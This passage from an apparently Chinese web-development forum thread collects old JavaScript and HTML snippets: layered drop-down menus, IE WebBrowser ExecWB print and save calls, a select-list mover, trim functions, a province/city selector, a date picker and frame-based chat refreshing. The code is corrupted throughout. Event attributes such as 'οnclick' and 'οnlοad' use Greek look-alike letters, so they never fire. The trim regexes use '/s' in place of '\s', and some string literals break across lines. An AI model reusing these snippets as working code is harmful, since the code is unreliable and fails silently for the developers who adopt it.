          else { this.info += "<LAYER onMouseOver='this.bgColor=/""+hovercolor+"/"' onMouseOut='this.bgColor=/""+bgcolor+"/"' WIDTH="+Width+" POSITION=RELATIVE TOP="+T+"> "+arguments[i]+"</LAYER>"; }
          T+=20;
       }
    } }
    Layer = new Array();
    arrow = "<IMG SRC='"+arrow_pic+"' WIDTH=4 HEIGHT=8 BORDER=0 ALT=''>";


    //第地层菜单

    Layer[1] =   new LayerSpecs(58,17,110,
             '<A HREF="#" onMouseOver="Show(4,1)"> 新建(N)   </A> '+arrow,
             '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(1,1)" onMouseOver="Show(1)">√打开(O)</A>',
             '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(4,1)" onMouseOver="Show(1)">√另存为(A)</A>',
             '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(8,1)" onMouseOver="Show(1)">√页面设置(U)</A>',
                '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(6,1)" onMouseOver="Show(1)">√打印(P)</A><object id="WebBrowser" width=0 height=0 classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></object>',
                '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(10,1)" onMouseOver="Show(1)">√属性(R)</A>',
                '<A HREF="#" onMouseOver="Show(1)"> 脱机工作(W)</A> '
    );
    Layer[2] =   new LayerSpecs(229,17,130,
             '<A HREF="
    http://ohsky.top263.net/main/dw.htm" onMouseOver="Show(6,2)"> dreamweaver </A> '+arrow,
             '<A HREF="
    http://ohsky.top263.net/main/fla.htm" onMouseOver="Show(7,2)"> FLASH     </A> '+arrow,
             '<A HREF="
    http://ohsky.top263.net/main/down.htm" onMouseOver="Show(8,2)"> Download   </A> '+arrow,
                '<A HREF="
    http://ohsky.top263.net/main/ja.htm" onMouseOver="Show(2)"> Javascript</A> '
    );
    Layer[3] =   new LayerSpecs(396,17,110,
                '<A HREF="
    http://ohsky.top263.net"> 海景天堂(S)</A> ',
             '<A HREF="
    mailto:wbq101@167.net"> 反馈邮件(M)</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/sitemap.htm"> 导航地图(S)</A> ',
                '<A HREF="
    http://www.buqing.com"> 网站版权(C)</A> ',
                '<A HREF="#" onClick="window.location.reload()">√刷新(R)</A>'
    );

    //第二层菜单

    Layer[4] =   new LayerSpecs(175,15,110,
             '<A HREF="#" onMouseOver="Show(4,1)"> 窗口(W)</A> ',
             '<A HREF="#" onMouseOver="Show(5,4,1)"> 目录(C)   </A> '+arrow
    );
    Layer[6] =   new LayerSpecs(357,15,100,
             '<A HREF="
    http://ohsky.top263.net/main/dwkey.htm"> 技巧实例</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/dwcj.htm"> 插件扩展</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/dwclass.htm"> 教程下载</A> '
    );
    Layer[7] =   new LayerSpecs(357,33,100,
             '<A HREF="
    http://ohsky.top263.net/main/flaexamp.htm"> 实例赏析</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/flaclass.htm"> 进阶教程</A> '
    );
    Layer[8] =   new LayerSpecs(357,53,100,
             '<A HREF="
    http://ohsky.top263.net/main/down.htm"> 海景精华</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/class.htm"> 教程中心</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/dwcj.htm"> 插件宝库</A> '
    );


    //第三层菜单

    Layer[5] =   new LayerSpecs(280,32,110,
             '<A HREF="
    http://ohsky.top263.net/main/news.htm">新闻(N)</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/key.htm">技巧(T)</A> ',
             '<A HREF="
    http://ohsky.top263.net/main/abme.htm">关于我(A)</A> ',
             '<A HREF="
    http://www.cinews.net/book/wbq101/index.html">留言(G)</A> '
    );

    j = (Layer[0]) ? 0:1;
    for(i=j; i<Layer.length; i++) {
       if(document.all && No3) { document.write("<SPAN onMouseOver='clearTimeout(timer)' onMouseOut='Hide("+i+")' ID='L"+i+"' STYLE='position:absolute; visibility:hidden; background:"+background+"; top:"+Layer[i].top+"; left:"+Layer[i].left+";'><TABLE STYLE='border:solid "+menu_border+" "+border_color+"'>"+Layer[i].info+"</TABLE></SPAN>"); }
       else if(document.layers && No3) { document.write("<LAYER onMouseOver='clearTimeout(timer)' onMouseOut='Hide("+i+")' ID='L"+i+"' POSITION=ABSOLUTE VISIBILITY=HIDDEN BGCOLOR='"+bgcolor+"' BACKGROUND='"+background+"' TOP="+Layer[i].top+" LEFT="+Layer[i].left+">"+Layer[i].info+"</LAYER>"); }
    }
    if(document.all) { document.all["menubar"].style.visibility = "visible"; }
    else if(document.layers) { document.layers["menubar"].visibility = "visible"; }
    // --></SCRIPT>
    </BODY></HTML>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    <Script language="JScript">
    //gotourl('default_into.asp',"","","","",false);
    //gotourl('oaindex.asp',"","","","",false);
    var w=screen.availWidth-10;
    var h=screen.availHeight-30;
    //alert("fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,width=" + w + ",height=" + h + ",top=0,left=0");
    var objwin = window.open('default.asp',"OAMAIN","fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,width=" + w + ",height=" + h + ",top=0,left=0",true);
    objwin.focus();
    </script>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    两select框互相导入同容:

    <script language="JavaScript">
    function copyToList(from,to) //from表示:包含可选择项目的select对象名字 to表示:列出可选择项目的select对象名字 //你可以根据你的具体情况修改
    {
      fromList = eval('document.forms[0].' + from);
      toList = eval('document.forms[0].' + to);
      if (toList.options.length > 0 && toList.options[0].value == 'temp')
      {
        toList.options.length = 0;
      }
      var sel = false;
      for (i=0;i<fromList.options.length;i++)
      {
        var current = fromList.options[i];
        if (current.selected)
        {
          sel = true;
          if (current.value == 'temp')
          {
            alert ('你不能选择这个项目!');
            return;
          }
          txt = current.text;
          val = current.value;
          toList.options[toList.length] = new Option(txt,val);
          fromList.options[i] = null;
          i--;
        }
      }
      if (!sel) alert ('你还没有选择任何项目');
    }
    function allSelect() //这是当用户按下提交按钮时,对列出选择的select对象执行全选工作,让递交至的后台程序能取得相关数据
    {
      List = document.forms[0].chosen;
      if (List.length && List.options[0].value == 'temp') return;
      for (i=0;i<List.length;i++)
      {
         List.options[i].selected = true;
      }
    }

    </script>
    <table border="0"> <form onSubmit="allSelect()">
                  <tr>
                    <td>
                      <select name="possible" size="4"
       MULTIPLE width=200 style="width: 200px">
                        <option value="1">中国广州
                        <option value="2">中国上海
                        <option value="3">中国北京
                        <option value="4">中国武汉
                   
                      </select>
                    </td>
                      <td><a href="javascript:copyToList('possible','chosen')">添加至右方--><br>
                        <br>
                        </a><a href="javascript:copyToList('chosen','possible')"><--添加至左方</a></td>
                    <td>
                      <select name="chosen" size="4"
       MULTIPLE width=200 style="width: 200px;">
                        <option value="temp">从左边选择你的地区 
                      </select>
                    </td>
                  </tr>  </form>
                </table>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    Javascript中的trim函数!


    //***************************************************

    <script language="javascript">
    //去除空格
    String.prototype.trim = function()
    {
        return this.replace(/(^[/s]*)|([/s]*$)/g, "");
    }

    //去处左空格
    String.prototype.lTrim = function()
    {
        return this.replace(/(^[/s]*)/g, "");
    }

    //去处右空格
    String.prototype.rTrim = function()
    {
        return this.replace(/([/s]*$)/g, "");
    }

    var s = "  dfdf  ";
    alert(s.length);
    var ss = s.trim();
    var rs = s.rTrim();
    var ls = s.lTrim();
    alert(ss.length);
    alert(rs.length);
    alert(ls.length);
    </script>

    另一种方法:
    <script>
    function String.prototype.Trim() {return this.replace(/(^/s*)|(/s*$)/g,"");}
    s="   xxxxxx   ";
    alert(s.Trim());
    </script>

    <html>
        <head>

        <title> List</title>
        
        <script language="JavaScript">

        </script>
        </head>
        <body >
        
      <form name="form1" Method="POST" action="">
      <div align="center"> </td> </tr> 
        
            <table width="100%" border="1" cellpadding="0" cellspacing="1" bordercolor="#FFFFFF" bgcolor="#000000">
            <tr>
            <td height="27" bgcolor="#6699CC">
            <div align="center"></div></td>
            </tr>
            </table>
            
        <table  width="100%" border="0" cellspacing="1" borderColorLight="#0000cc" borderColorDark="#ffffff" bgcolor="#000000" class="main">
          <tr bgcolor="#E8E8E8"> 
            <td height="26" colspan="3"> 
            <div align="center"></div></td>
            
            <tr bgcolor="#DFDFFF"> 
            <td width="11%" height="22"> 
            <p align="center">select 
            </td>
            <td width="11%"> <p align="center">
            <label  style='cursor:hand' onClick="OrderBy('GroupID');">
            Group ID</label></p></td>

            <td width="18%"> <p align="center"> 
                <label  style='cursor:hand' onClick="OrderBy('GroupName');"> 
                Group Name</label>
              </p></td>
            
                    
          <tr name="tr01" id="tr01" bgcolor="#efefef"> 
            <td height="22"> 
              <div align="center"> 
                    <input type="checkbox" name="0" id="0" value="001"  onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
                    </div>
                    
            <td> 
              <div align="center"> 001</div>
                    
            <td> 
              <div align="center">Common</div></td>
                    </tr>
                    
                    <tr name="tr11" bgcolor="#efefef"> 
                    <td height="22">
                    <div align="center"> 
                    <input type="checkbox" name="1" value="002" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
                    </div>
                    <td><div align="center"> 002</div>
                    <td><div align="center">344</div></td>
                    </tr>
                    
                    <tr name="tr21" bgcolor="#efefef"> 
                    <td height="22">
                    <div align="center"> 
                <input type="checkbox" name="12" value="003" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
              </div>
                    <td><div align="center"> 003</div>
                    <td><div align="center">34</div></td>
                    </tr>
                    
                    <tr name="tr31" bgcolor="#efefef"> 
                    <td height="22">
                    <div align="center"> 
                <input type="checkbox" name="13" value="004" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
              </div>
                    <td><div align="center"> 004</div>
                    <td><div align="center">group2</div></td>
                    </tr>
                    
                    <tr name="tr41" bgcolor="#efefef"> 
                    <td height="22">
                    <div align="center"> 
                <input type="checkbox" name="14" value="005" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
              </div>
                    <td><div align="center"> 006</div>
                    <td><div align="center">group1</div></td>
                    </tr>
                    
                    <tr name="tr51" bgcolor="#efefef"> 
                    
            <td height="22"> 
              <div align="center"> 
                <input type="checkbox" name="15" value="006" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
              </div>
                    
            <td> 
              <div align="center"> 007</div>
                    
            <td> 
              <div align="center">group11</div></td>
                    </tr>
                    
                    <tr name="tr61" bgcolor="#efefef"> 
                    <td height="22">
                    <div align="center"> 
                <input type="checkbox" name="16" value="007" onClick="javascript:if (this.checked){this.parentNode.parentNode.parentNode.bgColor='#ffffff'};else{this.parentNode.parentNode.parentNode.bgColor='#efefef'}">
              </div>
                    <td><div align="center"> 008</div>
                    <td><div align="center">group123</div></td>
                    </tr>
                    
            </table>    
            
        </div>  
       </table>
        <div align="center"> 
        <p> 
        <input type="submit" name="Submit" value="  Submit ">
        <br>
        <br>
        </p>
        </div>
        </form>

        </body>
    </html>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)


    大家知道下面语句加在body中的后果吗?自已试下!

    onselectstart="return false;" 


    <form action="http://www.chinaleader.com/cgi-bin/register.cgi" method=post name="creator" enctype="multipart/form-data">

    <script language="javascript">
    <!--
    var where = new Array(35); 
    function comefrom(loca,locacity) { this.loca = loca; this.locacity = locacity; } 
    where[0]= new comefrom("请选择省份名","请选择城市名");
    where[1] = new comefrom("北京","|东城|西城|崇文|宣武|朝阳|丰台|石景山|海淀|门头沟|房山|通州|顺义|昌平|大兴|平谷|怀柔|密云|延庆"); 
    where[2] = new comefrom("上海","|黄浦|卢湾|徐汇|长宁|静安|普陀|闸北|虹口|杨浦|闵行|宝山|嘉定|浦东|金山|松江|青浦|南汇|奉贤|崇明"); 
    where[3] = new comefrom("天津","|和平|东丽|河东|西青|河西|津南|南开|北辰|河北|武清|红挢|塘沽|汉沽|大港|宁河|静海|宝坻|蓟县"); 
    where[4] = new comefrom("重庆","|万州|涪陵|渝中|大渡口|江北|沙坪坝|九龙坡|南岸|北碚|万盛|双挢|渝北|巴南|黔江|长寿|綦江|潼南|铜梁|大足|荣昌|壁山|梁平|城口|丰都|垫江|武隆|忠县|开县|云阳|奉节|巫山|巫溪|石柱|秀山|酉阳|彭水|江津|合川|永川|南川"); 
    where[5] = new comefrom("河北","|石家庄|邯郸|邢台|保定|张家口|承德|廊坊|唐山|秦皇岛|沧州|衡水"); 
    where[6] = new comefrom("山西","|太原|大同|阳泉|长治|晋城|朔州|吕梁|忻州|晋中|临汾|运城"); 
    where[7] = new comefrom("内蒙古","|呼和浩特|包头|乌海|赤峰|呼伦贝尔盟|阿拉善盟|哲里木盟|兴安盟|乌兰察布盟|锡林郭勒盟|巴彦淖尔盟|伊克昭盟"); 
    where[8] = new comefrom("辽宁","|沈阳|大连|鞍山|抚顺|本溪|丹东|锦州|营口|阜新|辽阳|盘锦|铁岭|朝阳|葫芦岛"); 
    where[9] = new comefrom("吉林","|长春|吉林|四平|辽源|通化|白山|松原|白城|延边"); 
    where[10] = new comefrom("黑龙江","|哈尔滨|齐齐哈尔|牡丹江|佳木斯|大庆|绥化|鹤岗|鸡西|黑河|双鸭山|伊春|七台河|大兴安岭"); 
    where[11] = new comefrom("江苏","|南京|镇江|苏州|南通|扬州|盐城|徐州|连云港|常州|无锡|宿迁|泰州|淮安"); 
    where[12] = new comefrom("浙江","|杭州|宁波|温州|嘉兴|湖州|绍兴|金华|衢州|舟山|台州|丽水"); 
    where[13] = new comefrom("安徽","|合肥|芜湖|蚌埠|马鞍山|淮北|铜陵|安庆|黄山|滁州|宿州|池州|淮南|巢湖|阜阳|六安|宣城|亳州"); 
    where[14] = new comefrom("福建","|福州|厦门|莆田|三明|泉州|漳州|南平|龙岩|宁德"); 
    where[15] = new comefrom("江西","|南昌市|景德镇|九江|鹰潭|萍乡|新馀|赣州|吉安|宜春|抚州|上饶"); 
    where[16] = new comefrom("山东","|济南|青岛|淄博|枣庄|东营|烟台|潍坊|济宁|泰安|威海|日照|莱芜|临沂|德州|聊城|滨州|菏泽"); 
    where[17] = new comefrom("河南","|郑州|开封|洛阳|平顶山|安阳|鹤壁|新乡|焦作|濮阳|许昌|漯河|三门峡|南阳|商丘|信阳|周口|驻马店|济源"); 
    where[18] = new comefrom("湖北","|武汉|宜昌|荆州|襄樊|黄石|荆门|黄冈|十堰|恩施|潜江|天门|仙桃|随州|咸宁|孝感|鄂州");
    where[19] = new comefrom("湖南","|长沙|常德|株洲|湘潭|衡阳|岳阳|邵阳|益阳|娄底|怀化|郴州|永州|湘西|张家界"); 
    where[20] = new comefrom("广东","|广州|深圳|珠海|汕头|东莞|中山|佛山|韶关|江门|湛江|茂名|肇庆|惠州|梅州|汕尾|河源|阳江|清远|潮州|揭阳|云浮"); 
    where[21] = new comefrom("广西","|南宁|柳州|桂林|梧州|北海|防城港|钦州|贵港|玉林|南宁地区|柳州地区|贺州|百色|河池"); 
    where[22] = new comefrom("海南","|海口|三亚"); 
    where[23] = new comefrom("四川","|成都|绵阳|德阳|自贡|攀枝花|广元|内江|乐山|南充|宜宾|广安|达川|雅安|眉山|甘孜|凉山|泸州"); 
    where[24] = new comefrom("贵州","|贵阳|六盘水|遵义|安顺|铜仁|黔西南|毕节|黔东南|黔南"); 
    where[25] = new comefrom("云南","|昆明|大理|曲靖|玉溪|昭通|楚雄|红河|文山|思茅|西双版纳|保山|德宏|丽江|怒江|迪庆|临沧");
    where[26] = new comefrom("西藏","|拉萨|日喀则|山南|林芝|昌都|阿里|那曲"); 
    where[27] = new comefrom("陕西","|西安|宝鸡|咸阳|铜川|渭南|延安|榆林|汉中|安康|商洛"); 
    where[28] = new comefrom("甘肃","|兰州|嘉峪关|金昌|白银|天水|酒泉|张掖|武威|定西|陇南|平凉|庆阳|临夏|甘南"); 
    where[29] = new comefrom("宁夏","|银川|石嘴山|吴忠|固原"); 
    where[30] = new comefrom("青海","|西宁|海东|海南|海北|黄南|玉树|果洛|海西"); 
    where[31] = new comefrom("新疆","|乌鲁木齐|石河子|克拉玛依|伊犁|巴音郭勒|昌吉|克孜勒苏柯尔克孜|博尔塔拉|吐鲁番|哈密|喀什|和田|阿克苏"); 
    where[32] = new comefrom("香港",""); 
    where[33] = new comefrom("澳门",""); 
    where[34] = new comefrom("台湾","|台北|高雄|台中|台南|屏东|南投|云林|新竹|彰化|苗栗|嘉义|花莲|桃园|宜兰|基隆|台东|金门|马祖|澎湖"); 
    where[35] = new comefrom("其它","|北美洲|南美洲|亚洲|非洲|欧洲|大洋洲"); 
    function select() {
    with(document.creator.province) { var loca2 = options[selectedIndex].value; }
    for(i = 0;i < where.length;i ++) {
    if (where[i].loca == loca2) {
    loca3 = (where[i].locacity).split("|");
    for(j = 0;j < loca3.length;j++) { with(document.creator.city) { length = loca3.length; options[j].text = loca3[j]; options[j].value = loca3[j]; var loca4=options[selectedIndex].value;}}
    break;
    }}
    document.creator.newlocation.value=loca2+loca4;
    }
    function init() {
    with(document.creator.province) {
    length = where.length;
    for(k=0;k<where.length;k++) { options[k].text = where[k].loca; options[k].value = where[k].loca; }
    options[selectedIndex].text = where[0].loca; options[selectedIndex].value = where[0].loca;
    }
    with(document.creator.city) {
    loca3 = (where[0].locacity).split("|");
    length = loca3.length;
    for(l=0;l<length;l++) { options[l].text = loca3[l]; options[l].value = loca3[l]; }
    options[selectedIndex].text = loca3[0]; options[selectedIndex].value = loca3[0];
    }}
    -->
    </script>
    <body οnlοad="init()">
    <font color=#000000><b>来自:</b><br>请输入您所在国家的具体地方。此项可选<br><br>
    省份 <select name="province" onChange = "select()"></select> 城市 
    <select name="city" onChange = "select()"></select><br>
    我在 <input type=text name="newlocation" maxlength=12 size=12 style="font-weight: bold"> 不能超过12个字符(6个汉字)
    </form> 

    日期选择(纯JS)
    <script language=javascript>
    var DS_x,DS_y;

    function dateSelector()  //构造dateSelector对象,用来实现一个日历形式的日期输入框。
    {
      var myDate=new Date();
      this.year=myDate.getFullYear();  //定义year属性,年份,默认值为当前系统年份。
      this.month=myDate.getMonth()+1;  //定义month属性,月份,默认值为当前系统月份。
      this.date=myDate.getDate();  //定义date属性,日,默认值为当前系统的日。
      this.inputName='';  //定义inputName属性,即输入框的name,默认值为空。注意:在同一页中出现多个日期输入框,不能有重复的name!
      this.display=display;  //定义display方法,用来显示日期输入框。
    }

    function display()  //定义dateSelector的display方法,它将实现一个日历形式的日期选择框。
    {
      var week=new Array('日','一','二','三','四','五','六');

      document.write("<style type=text/css>");
      document.write("  .ds_font td,span  { font: normal 12px 宋体; color: #000000; }");
      document.write("  .ds_border  { border: 1px solid #000000; cursor: hand; background-color: #DDDDDD }");
      document.write("  .ds_border2  { border: 1px solid #000000; cursor: hand; background-color: #DDDDDD }");
      document.write("</style>");

      document.write("<input style='text-align:center;' id='DS_"+this.inputName+"' name='"+this.inputName+"' value='"+this.year+"-"+this.month+"-"+this.date+"' title=双击可进行编缉 οndblclick='this.readOnly=false;this.focus()' οnblur='this.readOnly=true' readonly>");
      document.write("<button style='width:60px;height:18px;font-size:12px;margin:1px;border:1px solid #A4B3C8;background-color:#DFE7EF;' type=button οnclick=this.nextSibling.style.display='block' οnfοcus=this.blur()>选择日期</button>");

      document.write("<div style='position:absolute;display:none;text-align:center;width:0px;height:0px;overflow:visible' onselectstart='return false;'>");
      document.write("  <div style='position:absolute;left:-60px;top:20px;width:142px;height:165px;background-color:#F6F6F6;border:1px solid #245B7D;' class=ds_font>");
      document.write("    <table cellpadding=0 cellspacing=1 width=140 height=20 bgcolor=#CEDAE7 οnmοusedοwn='DS_x=event.x-parentNode.style.pixelLeft;DS_y=event.y-parentNode.style.pixelTop;setCapture();' οnmοuseup='releaseCapture();' οnmοusemοve='dsMove(this.parentNode)' style='cursor:move;'>");
      document.write("      <tr align=center>");
      document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=subYear(this) title='减小年份'><<</td>");
      document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=subMonth(this) title='减小月份'><</td>");
      document.write("        <td width=52%><b>"+this.year+"</b><b>年</b><b>"+this.month+"</b><b>月</b></td>");
      document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=addMonth(this) title='增加月份'>></td>");
      document.write("        <td width=12% οnmοuseοver=this.className='ds_border' οnmοuseοut=this.className='' οnclick=addYear(this) title='增加年份'>>></td>");
      document.write("      </tr>");
      document.write("    </table>");

      document.write("    <table cellpadding=0 cellspacing=0 width=140 height=20 οnmοusedοwn='DS_x=event.x-parentNode.style.pixelLeft;DS_y=event.y-parentNode.style.pixelTop;setCapture();' οnmοuseup='releaseCapture();' οnmοusemοve='dsMove(this.parentNode)' style='cursor:move;'>");
      document.write("      <tr align=center>");
      for(i=0;i<7;i++)
       document.write("      <td>"+week[i]+"</td>");
      document.write("      </tr>");
      document.write("    </table>");

      document.write("    <table cellpadding=0 cellspacing=2 width=140 bgcolor=#EEEEEE>");
      for(i=0;i<6;i++)
      {
        document.write("    <tr align=center>");
       for(j=0;j<7;j++)
          document.write("    <td width=10% height=16 οnmοuseοver=if(this.innerText!=''&&this.className!='ds_border2')this.className='ds_border' οnmοuseοut=if(this.className!='ds_border2')this.className='' οnclick=getValue(this,document.all('DS_"+this.inputName+"'))></td>");
        document.write("    </tr>");
      }
      document.write("    </table>");

      document.write("    <span style=cursor:hand οnclick=this.parentNode.parentNode.style.display='none'>【关闭】</span>");
      document.write("  </div>");
      document.write("</div>");

      dateShow(document.all("DS_"+this.inputName).nextSibling.nextSibling.childNodes[0].childNodes[2],this.year,this.month)
    }

    function subYear(obj)  //减小年份
    {
      var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
      myObj[0].innerHTML=eval(myObj[0].innerHTML)-1;
      dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
    }

    function addYear(obj)  //增加年份
    {
      var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
      myObj[0].innerHTML=eval(myObj[0].innerHTML)+1;
      dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
    }

    function subMonth(obj)  //减小月份
    {
      var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
      var month=eval(myObj[2].innerHTML)-1;
      if(month==0)
      {
        month=12;
        subYear(obj);
      }
      myObj[2].innerHTML=month;
      dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
    }

    function addMonth(obj)  //增加月份
    {
      var myObj=obj.parentNode.parentNode.parentNode.cells[2].childNodes;
      var month=eval(myObj[2].innerHTML)+1;
      if(month==13)
      {
        month=1;
        addYear(obj);
      }
      myObj[2].innerHTML=month;
      dateShow(obj.parentNode.parentNode.parentNode.nextSibling.nextSibling,eval(myObj[0].innerHTML),eval(myObj[2].innerHTML))
    }

    function dateShow(obj,year,month)  //显示各月份的日
    {
      var myDate=new Date(year,month-1,1);
      var today=new Date();
      var day=myDate.getDay();
      var selectDate=obj.parentNode.parentNode.previousSibling.previousSibling.value.split('-');
      var length;
      switch(month)
      {
        case 1:
        case 3:
        case 5:
        case 7:
        case 8:
        case 10:
        case 12:
          length=31;
          break;
        case 4:
        case 6:
        case 9:
        case 11:
          length=30;
          break;
        case 2:
          if((year%4==0)&&(year%100!=0)||(year%400==0))
            length=29;
          else
            length=28;
      }
      for(i=0;i<obj.cells.length;i++)
      {
        obj.cells[i].innerHTML='';
        obj.cells[i].style.color='';
        obj.cells[i].className='';
      }
      for(i=0;i<length;i++)
      {
        obj.cells[i+day].innerHTML=(i+1);
        if(year==today.getFullYear()&&(month-1)==today.getMonth()&&(i+1)==today.getDate())
          obj.cells[i+day].style.color='red';
        if(year==eval(selectDate[0])&&month==eval(selectDate[1])&&(i+1)==eval(selectDate[2]))
          obj.cells[i+day].className='ds_border2';
      }
    }

    function getValue(obj,inputObj)  //把选择的日期传给输入框
    {
      var myObj=inputObj.nextSibling.nextSibling.childNodes[0].childNodes[0].cells[2].childNodes;
      if(obj.innerHTML)
        inputObj.value=myObj[0].innerHTML+"-"+myObj[2].innerHTML+"-"+obj.innerHTML;
      inputObj.nextSibling.nextSibling.style.display='none';
      for(i=0;i<obj.parentNode.parentNode.parentNode.cells.length;i++)
        obj.parentNode.parentNode.parentNode.cells[i].className='';
      obj.className='ds_border2'
    }

    function dsMove(obj)  //实现层的拖移
    {
      if(event.button==1)
      {
        var X=obj.clientLeft;
        var Y=obj.clientTop;
        obj.style.pixelLeft=X+(event.x-DS_x);
        obj.style.pixelTop=Y+(event.y-DS_y);
      }
    }
    </script>

    <script language=javascript>
      var myDate=new dateSelector();
      myDate.year--;
      myDate.inputName='start_date';  //注意这里设置输入框的name,同一页中日期输入框,不能出现重复的name。
      myDate.display();
    </script>
     到
    <script language=javascript>
      myDate.year++;
      myDate.inputName='end_date';  //注意这里设置输入框的name,同一页中的日期输入框,不能出现重复的name。
      myDate.display();
    </script>

    Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
    1   怎么样可以把图片自动变小到适应发表区的大小啊 ? 

       答:
    <img src=upfile/2003312322b16g34g11.jpg οnlοad=javascript:this.width=500,this.height=375> 
    2   或是怎么样可以只显示一部分的图片, 就是只显示左面的,右面的显示不显示没有问题的。 
      答:将图片放在iframe中

    在线列表问题:
    在线列表问题:

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
    此只为实现无刷新的JavaScript客户端所需要的相似技术
    具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
    index.htm
    <script>

    function renewlook()
    {
    list.document.open();
    list.document.close();
    list.document.write("<HTML><HEAD><TITLE>聊天室</TITLE><style type=text/css>body, form, td, input, 
    select, textarea {font: 9pt 宋体,Arial;}s</style></HEAD><body bgcolor=ffffff>");
    }
    function writeStr(tempStr)
    {
    list.document.write(tempStr);
    }
    </script>
    <FRAMESET ROWS="*,60" FRAMEBORDER="0" BORDER="false">
    <frameset cols="*,102" frameborder="auto" border="0" framespacing="0"> 
    <FRAME SRC="show.htm" scrolling="auto" name=list>
    <frame name="rightFrame" scrolling="AUTO" noresize src="about:blank">
    </frameset>
    <frameset cols="0,1*" frameborder="NO" border="0" framespacing="0">
    <frame cols="0,0" name="hiddenframe" scrolling="NO" noresize src="about:blank">
    <FRAME SRC="o.htm" SCROLLING="no" name=talk>
    <frame cols="0,0" name="frshow" scrolling="NO" noresize src="about:blank">
    </frameset>
    </frameset><noframes>
    </noframes>

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
    此只为实现无刷新的JavaScript客户端所需要的相似技术
    具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
    o.htm

    <script>
    var n;
    n=2;
    top.renewlook();
    top.writeStr("<div id=div0 name=div0>dkeoo3</div><div id=div1 name=div1>222222222</div>");
    //opener.t11.innerHTML="<font οnclick=javascript:opener.writeStr('ddds');>ddd</font>";
    top.writeStr('写1');
    top.writeStr('写2');
    top.writeStr('写3');
    var i=0;
    function showsss()
    {
    //top.list.eval('div' + i).style.display='block';
    eval("top.list."+"div"+i+".style.display='block';");
    i=i+1
    if (i>=n)
    {
    i=0;
    top.list.div0.style.display='none';
    }
    else
    {
    eval("top.list."+"div"+i+".style.display='none';");
    }
    setTimeout("showsss();",900);
    }
    showsss();
    </script>
    <font οnclick="javascript:top.writeStr('<div name=div'+n+' id=div'+n+'>'+n+'</div>');n=n+1;">
    ddd
    </font>
    <font color=ff0000 οnclick="top.list.div5.style.display='none';">o.htm</font>
    <font color=ff0000 οnclick="top.list.div5.style.display='block';">o.htm</font>
    dddddddddddddddddd 

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~```
    此只为实现无刷新的JavaScript客户端所需要的相似技术
    具体要跟程序结合起来。~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'~~
    show.htm

    <div name=div0 id=div0></div>
    <div name=t11 id=t11><table>
    <tr><td>测试</td></tr></table>
    </div>
    <script>

    function renewlook()
    {
    document.open();
    document.close();
    document.write("<HTML><HEAD><TITLE>聊天室</TITLE><style type=text/css>body, form, td, input, 
    select, textarea {font: 9pt 宋体,Arial;}s</style></HEAD><body bgcolor=ffffff>");
    }
    function writeStr(tempStr)
    {
    document.write(tempStr);
    }

    t11.style.display="none";
    t11.style.display="block";
    //t11.οnclick="window.close();document.write('dd');";
    writeStr("<font style='cursor:hand' οnclick=t11.style.display='block';>显示</font>");
    </script> 

